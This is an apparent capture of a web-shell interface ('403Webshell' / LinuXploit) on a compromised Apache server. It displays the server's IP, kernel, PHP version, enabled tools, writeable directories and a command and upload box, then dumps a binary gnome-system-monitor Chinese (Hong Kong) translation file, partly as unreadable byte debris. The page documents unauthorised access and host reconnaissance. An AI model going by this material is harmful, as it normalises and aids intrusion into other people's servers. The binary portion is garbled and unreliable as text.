403Webshell
Server IP : 134.236.29.77  /  Your IP : 216.73.217.92
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/zh_HK/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/zh_HK/LC_MESSAGES/gnome-system-monitor.mo
Kl			#4IVcls]<+hx
$)	/8<HQ;W2')CPj
,,S7	'# %*3:=Umr	 *E@
);BNfn~
.&

,:B#Os	

	
3>	NX`q
  * @ S 0n & ) $ 9!0O!0!*!7!%"%:"&`"0"."+"'#/;#0k#&###*#$!$.$N$V$]$j$r$w$~$$j$%'&%8N%2%8%%%&&
&(&-&B&R&d&i&n&	u&&&/&"&&&='@''"(&(2D()w()(#(0( )?)^))~)')$) )(*)?*i*y*****	**
***'+.+
4+B+'O+w++++
+++++++,,-	---	--	----..	.#.0.7.D.Q.Z.a.w....H.@+/
l/z/
//$///4/0#090F0J0^0o0?u0D00
11&41$[1	1111 1'1$2'42'\2{2333'3>3X3i33
4
4#4>4K4R4!k4444444444	55	5$55=S6666	66%6677	7(7/7<7S7$f77'777778#848M8i888888	88	899	9!9339g9}999	9999:,:E:X:$t:,:7:*:>);3h;;;-;?<3F<+z<0<6<6=3E=-y=6=6=->C>V>9u>	>>">	>>>		???!?.?`M???9?3@3K@@@@@@@@@@	@	@	A	A	A	%A-/A$]AAA0AA B+BB2B'*C/RC!C3C'CD$ D*ED*pD'D!D*D*E;EKE`EpEwEE
EEE
EE-E
"F-FDF,UF
FFFFFF
FF
FGGGGtx&zgXE`1,)Qv@?$%yoMfn	{uj9rw/_KCIH*es7
:0 S]b}!BhL>DiRT^=[P4.Wk8V"\2|dOFU<6ZNp(~5;
Jc+Aql'3-#aYm% CPU%.1f Gbit%.1f GiB%.1f KiB%.1f Mbit%.1f MiB%.1f kbit%a %l:%M %p%b %d %Y%b %d %l:%M %p%s (%.1f %%) of %s%s/s%u bit%u bits%u byte%u bytes%u second%u seconds%u:%02u.%02u%u:%02u:%02u%ud%02uh%uw%ud(High Priority)(Low Priority)(Normal Priority)(Very High Priority)(Very Low Priority)0 for the System Info, 1 for the processes list, 2 for the resources and 3 for the disks list<b>Error</b>
'%s' is not a valid Perl regular expression.
%s<b>Hardware</b><b>System Status</b><i>N/A</i>?A simple process and system monitor.A_ll ProcessesAbout this applicationAlert before ending or _killing processesAvailableAvailable disk space:BehaviorCPUCPU HistoryCPU TimeCPU%dCannot change the priority of process with pid %d to %d.
%sCannot kill process with pid %d with signal %d.
%sCase insensitive matchingChange PriorityChange _PriorityChange the order of priority of processClick to set graph colorsCommand LineConfigure the applicationContinue process if stoppedCurrent ColorDefault graph cpu colorDefault graph incoming network traffic colorDefault graph mem colorDefault graph outgoing network traffic colorDefault graph swap colorDetermines which processes to show by default. 0 is All, 1 is user, and 2 is activeDeviceDirectoryDisk view columns orderEnable _smooth refreshEnable/Disable smooth refreshEnd _ProcessEnd the selected process?Ending a process may destroy data, break the session or introduce a security risk. Only unresponding processes should be ended.FDFile SystemsFile system i_nformation shown in list:FilenameFlagsForce process to finish immediatelyForce process to finish normallyFractionFreeGNOME %sGraphsIDIPv4 network connectionIPv6 network connectionIconIf TRUE, system-monitor operates in 'Solaris mode' where a task's cpu usage is divided by the total number of CPUs. Else it operates in 'Irix mode'.Information FieldsInodeKernel %sKill the selected process?Killing a process may destroy data, break the session or introduce a security risk. Only unresponding processes should be killed.Load averages for the last 1, 5, 15 minutes: %0.2f, %0.2f, %0.2fM_y ProcessesMain Window heightMain Window widthMemoryMemory MapsMemory and Swap HistoryMemory:Network HistoryNiceNote:ObjectOpen FilesOpen _FilesOpen the manualOpen the memory maps associated with a processPIDPercentage full for pie colour pickersPick a ColorPrivate cleanPrivate dirtyProcessProcess NameProcess i_nformation shown in list:Process view columns orderProcess view sort columnProcess view sort orderProcessesProcessor %d:Processor:Quit the programReceived invalid color data
ReceivingRefresh the process listRelease %sResident MemoryResourcesRunningS_earch results:Saves the currently viewed tabSearch for Open FilesSearch for _Open FilesSearch for open filesSecurity ContextSendingShared MemoryShared cleanShared dirtyShow _all filesystemsShow active processesShow all processesShow network speed in bitsShow parent/child relationship between processesShow process 'CPU %' column on startupShow process 'CPU time' column on startupShow process 'PID' column on startupShow process 'SELinux security context' column on startupShow process 'Waiting Channel' column on startupShow process 'X server memory' column on startupShow process 'arguments' column on startupShow process 'estimated memory usage' column on startupShow process 'name' column on startupShow process 'nice' column on startupShow process 'owner' column on startupShow process 'resident memory' column on startupShow process 'shared memory' column on startupShow process 'start time' column on startupShow process 'status' column on startupShow process 'virtual memory' column on startupShow process 'writable memory' column on startupShow process dependencies in tree formShow the System tabShow user own processShow warning dialog when killing processesSleepingSolaris modeSolaris mode for CPU percentageStartedStatusStop processStoppedSwapSystemSystem MonitorSystem Monitor PreferencesThe priority of a process is given by its nice value. A lower nice value corresponds to a higher priority.The selected colorThe title of the color selection dialogTime in milliseconds between updates of the devices listTime in milliseconds between updates of the graphsTime in milliseconds between updates of the process viewTitleToday %l:%M %pTotalTotal ReceivedTotal SentTypeType of color pickerUninterruptibleUnknown CPU modelUsedUserVM EndVM OffsetVM SizeVM StartView current processes and monitor system stateView the files opened by a processVirtual MemoryWaiting ChannelWhether information about all filesystems should be displayedWhether to display information about all filesystems (including types like 'autofs' and 'procfs'). Useful for getting a list of all currently mounted filesystems.Width of process 'CPU %' columnWidth of process 'CPU time' columnWidth of process 'PID' columnWidth of process 'SELinux security context' columnWidth of process 'Waiting Channel' columnWidth of process 'X server memory' columnWidth of process 'arguments' columnWidth of process 'estimated memory usage' columnWidth of process 'name' columnWidth of process 'nice' columnWidth of process 'owner' columnWidth of process 'resident memory' columnWidth of process 'shared memory' columnWidth of process 'start time' columnWidth of process 'status' columnWidth of process 'virtual memory' columnWidth of process 'writable memory' columnWritable MemoryX Server MemoryYesterday %l:%M %pZombie_Active Processes_Change Priority..._Contents_Continue Process_Dependencies_Edit_End Process_Files opened by process "%s" (PID %u):_Help_Kill Process_Memory Maps_Memory maps for process "%s" (PID %u):_Monitor_Name contains:_Nice value:_Refresh_Stop Process_Update interval in seconds:_Viewfilelocal socketpipetranslator-creditsunknown typeProject-Id-Version: gnome-system-monitor 2.27.4
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2009-09-19 20:41+0800
PO-Revision-Date: 2009-09-19 20:41+0800
Last-Translator: Chao-Hsiung Liao <j_h_liau@yahoo.com.tw>
Language-Team: Chinese (Hong Kong) <community@linuxhall.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
% CPU%.1f Gbit%.1f GiB%.1f KiB%.1f Mbit%.1f MiB%.1f kbit%a %p %l:%M%Y/%m/%dm月%d日%p %l:%M%s (%.1f %%) / %s%s/s%u 位元%u 位元組%u 秒%u:%02u.%02u%u:%02u:%02u%ud%02uh%uw%ud（高優先等級）（低優先等級）（正常優先等級）（非常高的優先等級)（非常低的優先等級）0  為系統資訊，1 為程序清單，2 為資源，3 為磁碟清單<b>錯誤</b>
「%s」不是有效的 Perl 正規表示式。
%s<b>硬件</b><b>系統狀態</b><i>N/A</i>?簡易的程序和系統監視器。所有程序(_L)關於此程式當程序結束或被強行終止前發出警告(_K)可用空間磁碟可用空間：運作方式CPUCPU 使用量記錄CPU 運行時間CPU%d無法將 pid 為 %d 的程序之優先等級更改為 %d。
%s無法用 signal %2$d 來強行終止 pid 為 %1$d 的程序。
%3$s區分大小寫更改優先等級更改優先等級(_P)更改程序的優先等級 (nice 值)按下這裏可以設定圖表顏色命令列設定此程式繼續已被停止的程序目前的顏色圖表預設表示 CPU 的顏色預設網絡圖表（流入）的顏色圖表預設表示記憶體的顏色預設網絡圖表（流出）的顏色圖表預設表示交換記憶的顏色決定顯示哪一類程序。0 表示全部，1 只顯示用家自己的程序，2 只顯示目前仍然活躍的程序。裝置目錄磁碟顯示欄位次序啟用平滑更新(_S)啟用/停用平滑更新終止程序(_P)是否終止已選的程序？結束程序可能導致損失資料，中斷作業階段，甚至可以造成安全性漏洞。請只結束無回應的程序。FD檔案系統清單中顯示的系統資訊(_N):檔案名稱旗標立刻強行終止程序立刻以正常方式終止程序分數剩餘GNOME %s圖表IDIPv4 網絡連線IPv6 網絡連線圖示如設為 TRUE，system-monitor 會以「Solaris 模式」運行，即每個工作的 CPU 使用量會除以總 CPU 數來均分。否則它會以「Irix 模式」運行。資訊欄Inode核心 %s是否強行終止指定的程序？強行終止程序可能導致損失資料，中斷作業階段，甚至可以造成安全性漏洞。請只強行終止無回應的程序。最後 1、5、15 分鐘的平均負載：%0.2f, %0.2f, %0.2f我的程序(_Y)主視窗高度主視窗闊度記憶體記憶對映記憶體/交換記憶使用量記錄記憶體：網絡記錄Nice記錄：物件開啟檔案已開啟的檔案(_F)開啟使用手冊顯示該程序的記憶對映情況PID餅狀色彩挑選器的完整百分比選取顏色記憶體內容未被修改記憶體內容已被修改程序程序名稱清單中顯示的程序資訊(_N):程序顯示欄的順序程序根據哪一欄排序排列程序的次序程序處理器 %d：處理器：離開本程式收到了無效的顏色資料
接收中重新整理程序清單版本 %s常駐記憶體資源執行中搜尋結果(_E):本數值表示程式下次啟動時顯示的分頁搜尋已開啟檔案搜尋已開啟檔案(_O)搜尋已開啟檔案安全性內容傳送中分享記憶體分享記憶體未被修改分享記憶體已被修改顯示所有檔案系統(_A)顯示運行中的程序顯示所有程序以位元顯示網絡速度顯示各程序之間的主從關係啟動時在程序欄位中顯示‘CPU %’啟動時在程序欄位中顯示「CPU 運行時間」啟動時在程序欄位中顯示‘PID’啟動時在程序欄位中顯示「SELinux 安全性內容」啟動時在程序欄位中顯示「等待頻道」啟動時在程序欄位中顯示「X 伺服器記憶體」啟動時在程序欄位中顯示「參數」啟動時在程序欄位中顯示「預計記憶體使用量」啟動時在程序欄位中顯示「程序名稱」啟動時在程序欄位中顯示‘Nice’啟動時在程序欄位中顯示「擁有者」啟動時在程序欄位中顯示「常駐記憶體」啟動時在程序欄位中顯示「分享記憶體」啟動時在程序欄位中顯示「開始時間」啟動時在程序欄位中顯示「狀態」啟動時在程序欄位中顯示「虛擬記憶體」啟動時在程序欄位中顯示「可寫記憶體」以樹狀方式顯示程序間的相根據性顯示系統分頁顯示使用者擁有的程序準備強行終止程序時顯示警告訊息對話方塊睡眠中Solaris 模式CPU 百分比使用 Solaris 模式已開始狀態停止程序已停止置換系統系統監控系統監控程式偏好設定程序是否優先執行可由它的 nice 值得出。較低的 nice 值表示較優先執行。選取的顏色顏色選擇對話盒的標題儲存裝置清單每次更新的時間，以毫秒表示資源圖表每次更新的時間，以毫秒表示程序清單每次更新的時間，以毫秒表示標題今天 %p %l:%M總數總共接收總共傳送類型色彩選擇類型無法中斷不明的 CPU 類型已使用使用者VM 終結VM OffsetVM 大小VM 開始顯示目前的程序並監控系統的狀態顯示該程序開啟了哪些檔案虛擬記憶體等待頻道是否要顯示關於所有檔案系統的資訊是否要顯示關於所有檔案系統的資訊（這裏包括了像‘autofs’和‘procfs’這種檔案類型）。在取得目前所有掛載的檔案系統清單時會很有用。程序欄中‘CPU %’的闊度程序欄中「CPU 運行時間」的闊度程序欄中‘PID’的闊度程序欄中「SELinux 安全性內容」的闊度程序欄中「等待頻道」的闊度程序欄中「X 伺服器記憶體」的闊度程序欄中「參數」的闊度程序欄中「預計記憶體使用量」的闊度程序欄中「程序名稱」的闊度程序欄中‘Nice’的闊度程序欄中「擁有者」的闊度程序欄中「常駐記憶體」的闊度程序欄中「分享記憶體」的闊度程序欄中「開始時間」的闊度程序欄中「狀態」的闊度程序欄中「虛擬記憶體」的闊度程序欄中「可寫記憶體」的闊度可寫記憶體X 伺服器記憶體昨天 %p %l:%MZombie運行中的程序(_A)更改優先等級(_C)...內容(_C)繼續程序(_C)相根據關係(_D)編輯(_E)終止程序(_E)程序 “%s” (PI_D %u) 所開啟的檔案:求助(_H)強行終止程序(_K)記憶對映(_M)程序 “%s” (_PID %u) 的記憶配置：監控(_M)名稱包含(_N):_Nice 值：重新整理(_R)停止程序(_S)更新間隔(_U):檢視(_V)檔案本機 socket管道如對翻譯有任何意見，請送一封電子郵件給
以下地址，GNOME 翻譯隊伍會儘快回覆你：
zh-l10n@lists.linux.org.tw

Woodman Tuen <wmtuen@gmail.com>, 2005-07
Abel Cheung <abel@oaka.org>, 2001-03, 05類型不詳

Youez - 2016 - github.com/yon3zu
LinuXploit